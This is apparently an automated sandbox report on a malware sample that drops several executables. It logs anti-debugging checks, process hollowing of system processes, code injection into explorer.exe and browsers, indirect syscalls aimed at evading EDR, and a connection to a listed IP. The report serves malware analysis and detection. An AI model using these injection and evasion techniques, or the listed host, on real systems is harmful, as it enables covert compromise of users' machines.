Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process queried: DebugPort
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Process queried: DebugPort
Source: C:\Windows\System32\svchost.exe	Process queried: DebugPort
Source: C:\Windows\System32\audiodg.exe	Process queried: DebugPort
Source: C:\Windows\System32\msiexec.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A20489 rdtsc

0_2_04A20489

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe

Code function: 16_2_0043B480 LdrInitializeThunk,

16_2_0043B480

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2231B8 IsDebuggerPresent,GetCurrentProcess,CheckRemoteDebuggerPresent,

7_2_00007FF6AE2231B8

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2214EC LoadLibraryA,GetProcAddress,

7_2_00007FF6AE2214EC

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001E652B mov eax, dword ptr fs:[00000030h]	0_2_001E652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001EA302 mov eax, dword ptr fs:[00000030h]	0_2_001EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B9A302 mov eax, dword ptr fs:[00000030h]	2_2_00B9A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00B9652B mov eax, dword ptr fs:[00000030h]	2_2_00B9652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B9A302 mov eax, dword ptr fs:[00000030h]	3_2_00B9A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00B9652B mov eax, dword ptr fs:[00000030h]	3_2_00B9652B
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00BFED9C mov eax, dword ptr fs:[00000030h]	16_2_00BFED9C
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 16_2_00BFF9DC mov eax, dword ptr fs:[00000030h]	16_2_00BFF9DC

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE22216C InternetOpenW,Sleep,InternetOpenUrlW,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,InternetCloseHandle,InternetCloseHandle,Sleep,InternetCloseHandle,InternetOpenUrlW,InternetCloseHandle,Sleep,HttpQueryInfoA,GetProcessHeap,RtlAllocateHeap,InternetCloseHandle,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

7_2_00007FF6AE22216C

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: 6737.tmp.fcxcx.exe.11.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 185.81.68.147 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: contile.services.mozilla.com

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF794680000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CD3A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CEE30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 13572F80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2378BEF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2383A400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\explorer.exe	Memory allocated: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 242EA330000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF794680000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\msiexec.exe base: 7FF794680000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe

Code function: 7_2_00007FF6AE2224D8 GetModuleFileNameW,CreateProcessW,CreateFileW,GetFileSize,CloseHandle,VirtualAlloc,CloseHandle,ReadFile,VirtualFree,CloseHandle,CloseHandle,GetThreadContext,VirtualFree,ReadProcessMemory,GetModuleHandleA,GetProcAddress,NtUnmapViewOfSection,VirtualFree,VirtualAllocEx,VirtualFree,WriteProcessMemory,VirtualFree,WriteProcessMemory,VirtualFree,RtlCompareMemory,ReadProcessMemory,WriteProcessMemory,VirtualFree,WriteProcessMemory,SetThreadContext,VirtualFree,ResumeThread,VirtualFree,VirtualFree,

7_2_00007FF6AE2224D8

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\svchost.exe	Thread created: C:\Windows\explorer.exe EIP: 8B70000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: 86F30000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: 86F80000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: 8BEF0000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: 3A400000	Jump to behavior
Source: C:\Windows\explorer.exe	Thread created: unknown EIP: EA330000	Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	NtUnmapViewOfSection: Indirect: 0x7FF6AE22286C			Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	NtUnmapViewOfSection: Indirect: 0x7FF64C37286C

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: 8B70535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CD3A0535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CEE30535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F30535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F80535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 13572F80535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2378BEF0535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2383A400535 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 242EA330535 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Memory written: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\svchost.exe	Memory written: PID: 1028 base: 8B70000 value: 40			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: PID: 1028 base: 8B70535 value: 4D			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Thread register set: target process: 1308	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Thread register set: target process: 6968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Thread register set: target process: 5788	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 1524
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 3560
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 4248
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 516
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 6108
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Thread register set: target process: 2612

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF794680000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF7E52B0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF7A91B0000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF7E52B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF794680000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF7A91B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\msiexec.exe base address: 7FF794680000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\svchost.exe base address: 7FF7E52B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Section unmapped: C:\Windows\System32\audiodg.exe base address: 7FF7A91B0000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794681000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794685000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794688000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794689000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468A000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468B000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\msiexec.exe base: E842A4010	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B5000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B8000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B9000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BA000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BB000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\svchost.exe base: D6F9A82010	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B1000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B5000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B8000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B9000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BA000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BB000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Memory written: C:\Windows\System32\audiodg.exe base: 4762711010	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: 8B70000	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Memory written: C:\Windows\explorer.exe base: 8B70535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CD3A0000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CD3A0535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CEE30000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 274CEE30535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F30000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F30535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F80000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 19A86F80535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 13572F80000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 13572F80535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2378BEF0000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2378BEF0535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2383A400000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 2383A400535	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 242EA330000	Jump to behavior
Source: C:\Windows\explorer.exe	Memory written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe base: 242EA330535	Jump to behavior
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B1000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B5000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B8000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B9000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BA000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BB000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: D565E17010
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794681000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794685000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794688000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794689000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468A000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468B000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 1D5CE57010
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B1000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B5000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B8000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B9000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BA000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BB000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 8835593010
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794680000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794681000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794685000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794688000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF794689000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468A000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 7FF79468B000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\msiexec.exe base: 5ABBE9C010
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B1000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B5000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B8000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52B9000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BA000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 7FF7E52BB000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\svchost.exe base: 294236D010
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B0000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B1000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B5000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B8000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91B9000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BA000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 7FF7A91BB000
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Memory written: C:\Windows\System32\audiodg.exe base: 4196008010

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe "C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe "C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe "C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\system32\svchost.exe"	Jump to behavior
